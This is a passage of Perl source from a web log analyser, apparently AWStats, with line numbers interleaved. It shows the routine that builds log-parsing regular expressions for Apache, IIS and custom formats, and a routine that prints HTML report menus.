                                }
 
8803
                                print "<a href=\""
 
8804
                                  . XMLEncode("$urlprot://$SiteDomain$newkey")
 
8805
                                  . "\" target=\"url\">"
 
8806
                                  . XMLEncode($nompage) . "</a>";
 
8807
                        }
 
8808
                        else {
 
8809
                                print XMLEncode($nompage);
 
8810
                        }
 
8811
                }
 
8812
                elsif ( $LogType eq 'F' ) {    # Ftp log file
 
8813
                        print XMLEncode($nompage);
 
8814
                }
 
8815
                elsif ( $LogType eq 'M' ) {    # Smtp log file
 
8816
                        print XMLEncode($nompage);
 
8817
                }
 
8818
                else {                         # Other type log file
 
8819
                        print XMLEncode($nompage);
 
8820
                }
 
8821
        }
 
8822
        else {
 
8823
                print XMLEncode($nompage);
 
8824
        }
 
8825
}
 
8826
 
 
8827
#------------------------------------------------------------------------------
 
8828
# Function:     Define value for PerlParsingFormat (used for regex log record parsing)
 
8829
# Parameters:   $LogFormat
 
8830
# Input:        -
 
8831
# Output:       $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
 
8832
# Return:       -
 
8833
#------------------------------------------------------------------------------
 
8834
sub DefinePerlParsingFormat {
 
8835
        my $LogFormat = shift;
 
8836
        $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
 
8837
          $pos_url = $pos_code = $pos_size = -1;
 
8838
        $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
 
8839
          $pos_compratio   = -1;
 
8840
        $pos_cluster       = $pos_emails = $pos_emailr = $pos_hostr = -1;
 
8841
        @pos_extra         = ();
 
8842
        @fieldlib          = ();
 
8843
        $PerlParsingFormat = '';
 
8844
 
 
8845
# Log records examples:
 
8846
# Apache combined:             62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
 
8847
# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
 
8848
# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
 
8849
# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
 
8850
# IIS:                         2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
 
8851
# WebStar:                     05/21/00 00:17:31        OK      200     212.242.30.6    Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)  http://www.cover.dk/    "www.cover.dk"  :Documentation:graphics:starninelogo.white.gif  1133
 
8852
# Squid extended:              12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
 
8853
# Log formats:
 
8854
# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
 
8855
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
 
8856
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
 
8857
        if ($Debug) {
 
8858
                debug(
 
8859
"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
 
8860
                );
 
8861
        }
 
8862
        if ( $LogFormat =~ /^[1-6]$/ ) {    # Pre-defined log format
 
8863
                if ( $LogFormat eq '1' || $LogFormat eq '6' )
 
8864
                { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
 
8865
                         # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
 
8866
 
 
8867
# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
 
8868
                        $PerlParsingFormat =
 
8869
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
 
8870
                        $pos_host    = 0;
 
8871
                        $pos_logname = 1;
 
8872
                        $pos_date    = 2;
 
8873
                        $pos_method  = 3;
 
8874
                        $pos_url     = 4;
 
8875
                        $pos_code    = 5;
 
8876
                        $pos_size    = 6;
 
8877
                        $pos_referer = 7;
 
8878
                        $pos_agent   = 8;
 
8879
                        @fieldlib    = (
 
8880
                                'host', 'logname', 'date', 'method', 'url', 'code',
 
8881
                                'size', 'referer', 'ua'
 
8882
                        );
 
8883
                }
 
8884
                elsif ( $LogFormat eq '2' )
 
8885
                { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
 
8886
                        $PerlParsingFormat =
 
8887
"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
 
8888
                        $pos_date    = 0;
 
8889
                        $pos_host    = 1;
 
8890
                        $pos_logname = 2;
 
8891
                        $pos_method  = 3;
 
8892
                        $pos_url     = 4;
 
8893
                        $pos_code    = 5;
 
8894
                        $pos_size    = 6;
 
8895
                        $pos_agent   = 7;
 
8896
                        $pos_referer = 8;
 
8897
                        @fieldlib    = (
 
8898
                                'date', 'host', 'logname', 'method', 'url', 'code',
 
8899
                                'size', 'ua',   'referer'
 
8900
                        );
 
8901
                }
 
8902
                elsif ( $LogFormat eq '3' ) {
 
8903
                        $PerlParsingFormat =
 
8904
"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
 
8905
                        $pos_date    = 0;
 
8906
                        $pos_method  = 1;
 
8907
                        $pos_code    = 2;
 
8908
                        $pos_host    = 3;
 
8909
                        $pos_agent   = 4;
 
8910
                        $pos_referer = 5;
 
8911
                        $pos_url     = 6;
 
8912
                        $pos_size    = 7;
 
8913
                        @fieldlib    = (
 
8914
                                'date', 'method',  'code', 'host',
 
8915
                                'ua',   'referer', 'url',  'size'
 
8916
                        );
 
8917
                }
 
8918
                elsif ( $LogFormat eq '4' ) {    # Same than "%h %l %u %t \"%r\" %>s %b"
 
8919
                         # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
 
8920
                        $PerlParsingFormat =
 
8921
"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
 
8922
                        $pos_host    = 0;
 
8923
                        $pos_logname = 1;
 
8924
                        $pos_date    = 2;
 
8925
                        $pos_method  = 3;
 
8926
                        $pos_url     = 4;
 
8927
                        $pos_code    = 5;
 
8928
                        $pos_size    = 6;
 
8929
                        @fieldlib    =
 
8930
                          ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
 
8931
                }
 
8932
        }
 
8933
        else {    # Personalized log format
 
8934
                my $LogFormatString = $LogFormat;
 
8935
 
 
8936
                # Replacement for Notes format string that are not Apache
 
8937
                $LogFormatString =~ s/%vh/%virtualname/g;
 
8938
 
 
8939
                # Replacement for Apache format string
 
8940
                $LogFormatString =~ s/%v(\s)/%virtualname$1/g;
 
8941
                $LogFormatString =~ s/%v$/%virtualname/g;
 
8942
                $LogFormatString =~ s/%h(\s)/%host$1/g;
 
8943
                $LogFormatString =~ s/%h$/%host/g;
 
8944
                $LogFormatString =~ s/%l(\s)/%other$1/g;
 
8945
                $LogFormatString =~ s/%l$/%other/g;
 
8946
                $LogFormatString =~ s/\"%u\"/%lognamequot/g;
 
8947
                $LogFormatString =~ s/%u(\s)/%logname$1/g;
 
8948
                $LogFormatString =~ s/%u$/%logname/g;
 
8949
                $LogFormatString =~ s/%t(\s)/%time1$1/g;
 
8950
                $LogFormatString =~ s/%t$/%time1/g;
 
8951
                $LogFormatString =~ s/\"%r\"/%methodurl/g;
 
8952
                $LogFormatString =~ s/%>s/%code/g;
 
8953
                $LogFormatString =~ s/%b(\s)/%bytesd$1/g;
 
8954
                $LogFormatString =~ s/%b$/%bytesd/g;
 
8955
                $LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g;
 
8956
                $LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g;
 
8957
                $LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g;
 
8958
                $LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g;
 
8959
                $LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g;
 
8960
                $LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g;
 
8961
 
 
8962
                # Replacement for a IIS and ISA format string
 
8963
                $LogFormatString =~ s/cs-uri-query/%query/g;    # Must be before cs-uri
 
8964
                $LogFormatString =~ s/date\stime/%time2/g;
 
8965
                $LogFormatString =~ s/c-ip/%host/g;
 
8966
                $LogFormatString =~ s/cs-username/%logname/g;
 
8967
                $LogFormatString =~ s/cs-method/%method/g;  # GET, POST, SMTP, RETR STOR
 
8968
                $LogFormatString =~ s/cs-uri-stem/%url/g;
 
8969
                $LogFormatString =~ s/cs-uri/%url/g;
 
8970
                $LogFormatString =~ s/sc-status/%code/g;
 
8971
                $LogFormatString =~ s/sc-bytes/%bytesd/g;
 
8972
                $LogFormatString =~ s/cs-version/%other/g;  # Protocol
 
8973
                $LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
 
8974
                $LogFormatString =~ s/c-agent/%ua/g;
 
8975
                $LogFormatString =~ s/cs\(Referer\)/%referer/g;
 
8976
                $LogFormatString =~ s/cs-referred/%referer/g;
 
8977
                $LogFormatString =~ s/sc-authenticated/%other/g;
 
8978
                $LogFormatString =~ s/s-svcname/%other/g;
 
8979
                $LogFormatString =~ s/s-computername/%other/g;
 
8980
                $LogFormatString =~ s/r-host/%virtualname/g;
 
8981
                $LogFormatString =~ s/cs-host/%virtualname/g;
 
8982
                $LogFormatString =~ s/r-ip/%other/g;
 
8983
                $LogFormatString =~ s/r-port/%other/g;
 
8984
                $LogFormatString =~ s/time-taken/%other/g;
 
8985
                $LogFormatString =~ s/cs-bytes/%other/g;
 
8986
                $LogFormatString =~ s/cs-protocol/%other/g;
 
8987
                $LogFormatString =~ s/cs-transport/%other/g;
 
8988
                $LogFormatString =~
 
8989
                  s/s-operation/%method/g;    # GET, POST, SMTP, RETR STOR
 
8990
                $LogFormatString =~ s/cs-mime-type/%other/g;
 
8991
                $LogFormatString =~ s/s-object-source/%other/g;
 
8992
                $LogFormatString =~ s/s-cache-info/%other/g;
 
8993
                $LogFormatString =~ s/cluster-node/%cluster/g;
 
8994
                $LogFormatString =~ s/s-sitename/%other/g;
 
8995
                $LogFormatString =~ s/s-ip/%other/g;
 
8996
                $LogFormatString =~ s/s-port/%other/g;
 
8997
                $LogFormatString =~ s/cs\(Cookie\)/%other/g;
 
8998
                $LogFormatString =~ s/sc-substatus/%other/g;
 
8999
                $LogFormatString =~ s/sc-win32-status/%other/g;
 
9000
 
 
9001
 
 
9002
                # Added for MMS
 
9003
                $LogFormatString =~
 
9004
                  s/protocol/%protocolmms/g;    # cs-method might not be available
 
9005
                $LogFormatString =~
 
9006
                  s/c-status/%codemms/g;    # c-status used when sc-status not available
 
9007
                if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
 
9008
 
 
9009
# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
 
9010
                my $i                       = 0;
 
9011
                my $LogSeparatorWithoutStar = $LogSeparator;
 
9012
                $LogSeparatorWithoutStar =~ s/[\*\+]//g;
 
9013
                foreach my $f ( split( /\s+/, $LogFormatString ) ) {
 
9014
 
 
9015
                        # Add separator for next field
 
9016
                        if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
 
9017
 
 
9018
                        # Special for logname
 
9019
                        if ( $f =~ /%lognamequot$/ ) {
 
9020
                                $pos_logname = $i;
 
9021
                                $i++;
 
9022
                                push @fieldlib, 'logname';
 
9023
                                $PerlParsingFormat .=
 
9024
                                  "\\\"?([^\\\"]*)\\\"?"
 
9025
                                  ; # logname can be "value", "" and - in same log (Lotus notes)
 
9026
                        }
 
9027
                        elsif ( $f =~ /%logname$/ ) {
 
9028
                                $pos_logname = $i;
 
9029
                                $i++;
 
9030
                                push @fieldlib, 'logname';
 
9031
 
 
9032
# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
 
9033
                                $PerlParsingFormat .= "([^\\/\\[]+)";
 
9034
                        }
 
9035
 
 
9036
                        # Date format
 
9037
                        elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
 
9038
                        { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss],  time1b kept for backward compatibility
 
9039
                                $pos_date = $i;
 
9040
                                $i++;
 
9041
                                push @fieldlib, 'date';
 
9042
                                $pos_tz = $i;
 
9043
                                $i++;
 
9044
                                push @fieldlib, 'tz';
 
9045
                                $PerlParsingFormat .=
 
9046
"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
 
9047
                        }
 
9048
                        elsif ( $f =~ /%time2$/ ) {    # yyyy-mm-dd hh:mm:ss
 
9049
                                $pos_date = $i;
 
9050
                                $i++;
 
9051
                                push @fieldlib, 'date';
 
9052
                                $PerlParsingFormat .=
 
9053
"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"
 
9054
                                  ;                        # Need \s for Exchange log files
 
9055
                        }
 
9056
                        elsif ( $f =~ /%time3$/ )
 
9057
                        { # mon d hh:mm:ss  or  mon  d hh:mm:ss  or  mon dd hh:mm:ss yyyy  or  day mon dd hh:mm:ss  or  day mon dd hh:mm:ss yyyy
 
9058
                                $pos_date = $i;
 
9059
                                $i++;
 
9060
                                push @fieldlib, 'date';
 
9061
                                $PerlParsingFormat .=
 
9062
"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
 
9063
                        }
 
9064
                        elsif ( $f =~ /%time4$/ ) {    # ddddddddddddd
 
9065
                                $pos_date = $i;
 
9066
                                $i++;
 
9067
                                push @fieldlib, 'date';
 
9068
                                $PerlParsingFormat .= "(\\d+)";
 
9069
                        }
 
9070
 
 
9071
                        # Special for methodurl and methodurlnoprot
 
9072
                        elsif ( $f =~ /%methodurl$/ ) {
 
9073
                                $pos_method = $i;
 
9074
                                $i++;
 
9075
                                push @fieldlib, 'method';
 
9076
                                $pos_url = $i;
 
9077
                                $i++;
 
9078
                                push @fieldlib, 'url';
 
9079
                                $PerlParsingFormat .=
 
9080
 
 
9081
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
 
9082
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
 
9083
                        }
 
9084
                        elsif ( $f =~ /%methodurlnoprot$/ ) {
 
9085
                                $pos_method = $i;
 
9086
                                $i++;
 
9087
                                push @fieldlib, 'method';
 
9088
                                $pos_url = $i;
 
9089
                                $i++;
 
9090
                                push @fieldlib, 'url';
 
9091
                                $PerlParsingFormat .=
 
9092
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
 
9093
                        }
 
9094
 
 
9095
                        # Common command tags
 
9096
                        elsif ( $f =~ /%virtualnamequot$/ ) {
 
9097
                                $pos_vh = $i;
 
9098
                                $i++;
 
9099
                                push @fieldlib, 'vhost';
 
9100
                                $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
 
9101
                        }
 
9102
                        elsif ( $f =~ /%virtualname$/ ) {
 
9103
                                $pos_vh = $i;
 
9104
                                $i++;
 
9105
                                push @fieldlib, 'vhost';
 
9106
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9107
                        }
 
9108
                        elsif ( $f =~ /%host_r$/ ) {
 
9109
                                $pos_hostr = $i;
 
9110
                                $i++;
 
9111
                                push @fieldlib, 'hostr';
 
9112
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9113
                        }
 
9114
                        elsif ( $f =~ /%host$/ ) {
 
9115
                                $pos_host = $i;
 
9116
                                $i++;
 
9117
                                push @fieldlib, 'host';
 
9118
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9119
                        }
 
9120
                        elsif ( $f =~ /%host_proxy$/ )
 
9121
                        {    # if host_proxy tag used, host tag must not be used
 
9122
                                $pos_host = $i;
 
9123
                                $i++;
 
9124
                                push @fieldlib, 'host';
 
9125
                                $PerlParsingFormat .= "(.+?)(?:, .*)*";
 
9126
                        }
 
9127
                        elsif ( $f =~ /%method$/ ) {
 
9128
                                $pos_method = $i;
 
9129
                                $i++;
 
9130
                                push @fieldlib, 'method';
 
9131
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9132
                        }
 
9133
                        elsif ( $f =~ /%url$/ ) {
 
9134
                                $pos_url = $i;
 
9135
                                $i++;
 
9136
                                push @fieldlib, 'url';
 
9137
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9138
                        }
 
9139
                        elsif ( $f =~ /%query$/ ) {
 
9140
                                $pos_query = $i;
 
9141
                                $i++;
 
9142
                                push @fieldlib, 'query';
 
9143
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9144
                        }
 
9145
                        elsif ( $f =~ /%code$/ ) {
 
9146
                                $pos_code = $i;
 
9147
                                $i++;
 
9148
                                push @fieldlib, 'code';
 
9149
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9150
                        }
 
9151
                        elsif ( $f =~ /%bytesd$/ ) {
 
9152
                                $pos_size = $i;
 
9153
                                $i++;
 
9154
                                push @fieldlib, 'size';
 
9155
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9156
                        }
 
9157
                        elsif ( $f =~ /%refererquot$/ ) {
 
9158
                                $pos_referer = $i;
 
9159
                                $i++;
 
9160
                                push @fieldlib, 'referer';
 
9161
                                $PerlParsingFormat .=
 
9162
                                  "\\\"([^\\\"]*)\\\"";    # referer might be ""
 
9163
                        }
 
9164
                        elsif ( $f =~ /%referer$/ ) {
 
9165
                                $pos_referer = $i;
 
9166
                                $i++;
 
9167
                                push @fieldlib, 'referer';
 
9168
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9169
                        }
 
9170
                        elsif ( $f =~ /%uaquot$/ ) {
 
9171
                                $pos_agent = $i;
 
9172
                                $i++;
 
9173
                                push @fieldlib, 'ua';
 
9174
                                $PerlParsingFormat .= "\\\"([^\\\"]*)\\\"";    # ua might be ""
 
9175
                        }
 
9176
                        elsif ( $f =~ /%uabracket$/ ) {
 
9177
                                $pos_agent = $i;
 
9178
                                $i++;
 
9179
                                push @fieldlib, 'ua';
 
9180
                                $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]";    # ua might be []
 
9181
                        }
 
9182
                        elsif ( $f =~ /%ua$/ ) {
 
9183
                                $pos_agent = $i;
 
9184
                                $i++;
 
9185
                                push @fieldlib, 'ua';
 
9186
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9187
                        }
 
9188
                        elsif ( $f =~ /%gzipin$/ ) {
 
9189
                                $pos_gzipin = $i;
 
9190
                                $i++;
 
9191
                                push @fieldlib, 'gzipin';
 
9192
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9193
                        }
 
9194
                        elsif ( $f =~ /%gzipout/ )
 
9195
                        { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
 
9196
                                $pos_gzipout = $i;
 
9197
                                $i++;
 
9198
                                push @fieldlib, 'gzipout';
 
9199
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9200
                        }
 
9201
                        elsif ( $f =~ /%gzipratio/ )
 
9202
                        { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
 
9203
                                $pos_compratio = $i;
 
9204
                                $i++;
 
9205
                                push @fieldlib, 'gzipratio';
 
9206
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9207
                        }
 
9208
                        elsif ( $f =~ /%deflateratio/ )
 
9209
                        { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
 
9210
                                $pos_compratio = $i;
 
9211
                                $i++;
 
9212
                                push @fieldlib, 'deflateratio';
 
9213
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9214
                        }
 
9215
                        elsif ( $f =~ /%email_r$/ ) {
 
9216
                                $pos_emailr = $i;
 
9217
                                $i++;
 
9218
                                push @fieldlib, 'email_r';
 
9219
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9220
                        }
 
9221
                        elsif ( $f =~ /%email$/ ) {
 
9222
                                $pos_emails = $i;
 
9223
                                $i++;
 
9224
                                push @fieldlib, 'email';
 
9225
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9226
                        }
 
9227
                        elsif ( $f =~ /%cluster$/ ) {
 
9228
                                $pos_cluster = $i;
 
9229
                                $i++;
 
9230
                                push @fieldlib, 'clusternb';
 
9231
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9232
                        }
 
9233
                        elsif ( $f =~ /%timetaken$/ ) {
 
9234
                                $pos_timetaken = $i;
 
9235
                                $i++;
 
9236
                                push @fieldlib, 'timetaken';
 
9237
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9238
                        }
 
9239
 
 
9240
# Special for protocolmms, used for method if method not already found (for MMS)
 
9241
                        elsif ( $f =~ /%protocolmms$/ ) {
 
9242
                                if ( $pos_method < 0 ) {
 
9243
                                        $pos_method = $i;
 
9244
                                        $i++;
 
9245
                                        push @fieldlib, 'method';
 
9246
                                        $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9247
                                }
 
9248
                        }
 
9249
 
 
9250
   # Special for codemms, used for code only if code not already found (for MMS)
 
9251
                        elsif ( $f =~ /%codemms$/ ) {
 
9252
                                if ( $pos_code < 0 ) {
 
9253
                                        $pos_code = $i;
 
9254
                                        $i++;
 
9255
                                        push @fieldlib, 'code';
 
9256
                                        $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9257
                                }
 
9258
                        }
 
9259
 
 
9260
                        # Extra tag
 
9261
                        elsif ( $f =~ /%extra(\d+)$/ ) {
 
9262
                                $pos_extra[$1] = $i;
 
9263
                                $i++;
 
9264
                                push @fieldlib, "extra$1";
 
9265
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
 
9266
                        }
 
9267
 
 
9268
                        # Other tag
 
9269
                        elsif ( $f =~ /%other$/ ) {
 
9270
                                $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
 
9271
                        }
 
9272
                        elsif ( $f =~ /%otherquot$/ ) {
 
9273
                                $PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
 
9274
                        }
 
9275
 
 
9276
                        # Unknown tag (no parenthesis)
 
9277
                        else {
 
9278
                                $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
 
9279
                        }
 
9280
                }
 
9281
                if ( !$PerlParsingFormat ) {
 
9282
                        error("No recognized format tag in personalized LogFormat string");
 
9283
                }
 
9284
        }
 
9285
        if ( $pos_host < 0 ) {
 
9286
                error(
 
9287
"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
 
9288
                );
 
9289
        }
 
9290
        if ( $pos_date < 0 ) {
 
9291
                error(
 
9292
"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
 
9293
                );
 
9294
        }
 
9295
        if ( $pos_method < 0 ) {
 
9296
                error(
 
9297
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
 
9298
                );
 
9299
        }
 
9300
        if ( $pos_url < 0 ) {
 
9301
                error(
 
9302
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
 
9303
                );
 
9304
        }
 
9305
        if ( $pos_code < 0 ) {
 
9306
                error(
 
9307
"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
 
9308
                );
 
9309
        }
 
9310
#       if ( $pos_size < 0 ) {
 
9311
#               error(
 
9312
#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
 
9313
#               );
 
9314
#       }
 
9315
        $PerlParsingFormat = qr/^$PerlParsingFormat/;
 
9316
        if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
 
9317
}
 
9318
 
 
9319
#------------------------------------------------------------------------------
 
9320
# Function:     Prints a menu category for the frame or static header
 
9321
# Parameters:   -
 
9322
# Input:        $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
 
9323
#                               $NewLinkParams, $NewLinkTarget
 
9324
# Output:       HTML
 
9325
# Return:       -
 
9326
#------------------------------------------------------------------------------
 
9327
sub HTMLShowMenuCateg {
 
9328
        my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
 
9329
                $NewLinkParams, $NewLinkTarget )
 
9330
          = ( shift, shift, shift, shift, shift, shift, shift, shift );
 
9331
        $categicon = '';    # Comment this to enabme category icons
 
9332
        my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
 
9333
        my $linetitle = 0;
 
9334
 
 
9335
        # Call to plugins' function AddHTMLMenuLink
 
9336
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
 
9337
 
 
9338
# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
 
9339
# eval("$function");
 
9340
                my $function = "AddHTMLMenuLink_$pluginname";
 
9341
                &$function( $categ, $menu, $menulink, $menutext );
 
9342
        }
 
9343
        foreach my $key (%$menu) {
 
9344
                if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
 
9345
        }
 
9346
        if ( !$linetitle ) { return; }
 
9347
 
 
9348
# At least one entry in menu for this category, we can show category and entries
 
9349
        my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
 
9350
        print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
 
9351
          . ( $frame ? "" : " valign=\"top\"" ) . ">"
 
9352
          . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" />&nbsp;" : "" )
 
9353
          . "<b>$categtext:</b></td>\n";
 
9354
        print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
 
9355
        foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
 
9356
                if ( $menu->{$key} == 0 )     { next; }
 
9357
                if ( $menulink->{$key} == 1 ) {
 
9358
                        print( $frame? "<tr><td class=\"awsm\">" : "" );
 
9359
                        print
 
9360
                          "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
 
9361
                        print( $frame? "</td></tr>\n" : " &nbsp; " );
 
9362
                }
 
9363
                if ( $menulink->{$key} == 2 ) {
 
9364
                        print( $frame
 
9365
                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
 
9366
                                : ""
 
9367
                        );
 
9368
                        print "<a href=\""
 
9369
                          . (
 
9370
                                $ENV{'GATEWAY_INTERFACE'}
 
9371
                                  || !$StaticLinks
 
9372
                                ? XMLEncode("$AWScript${NewLinkParams}output=$key")
 
9373
                                : "$StaticLinks.$key.$StaticExt"
 
9374
                          )
 
9375
                          . "\"$NewLinkTarget>$menutext->{$key}</a>\n";
 
9376
                        print( $frame? "</td></tr>\n" : " &nbsp; " );
 
9377
                }
 
9378
        }
 
9379
        print( $frame? "" : "</td></tr>\n" );
 
9380
}
 
9381
 
 
9382
#------------------------------------------------------------------------------
 
9383
# Function:     Prints HTML to display an email senders chart
 
9384
# Parameters:   -
 
9385
# Input:        $NewLinkParams, NewLinkTarget
 
9386
# Output:       HTML
 
9387
# Return:       -
 
9388
#------------------------------------------------------------------------------
 
9389
sub HTMLShowEmailSendersChart {
 
9390
        my $NewLinkParams         = shift;
 
9391
        my $NewLinkTarget         = shift;
 
9392
        my $MaxLengthOfShownEMail = 48;
 
9393
 
 
9394
        my $total_p;
 
9395
        my $total_h;
 
9396
        my $total_k;
 
9397
        my $max_p;
 
9398
        my $max_h;
 
9399
        my $max_k;
 
9400
        my $rest_p;
 
9401
        my $rest_h;
 
9402
        my $rest_k;
 
9403
 
 
9404
        # Show filter form
 
9405
        #&ShowFormFilter("emailsfilter",$EmailsFilter);
 
9406
        # Show emails list
 
9407
 
 
9408
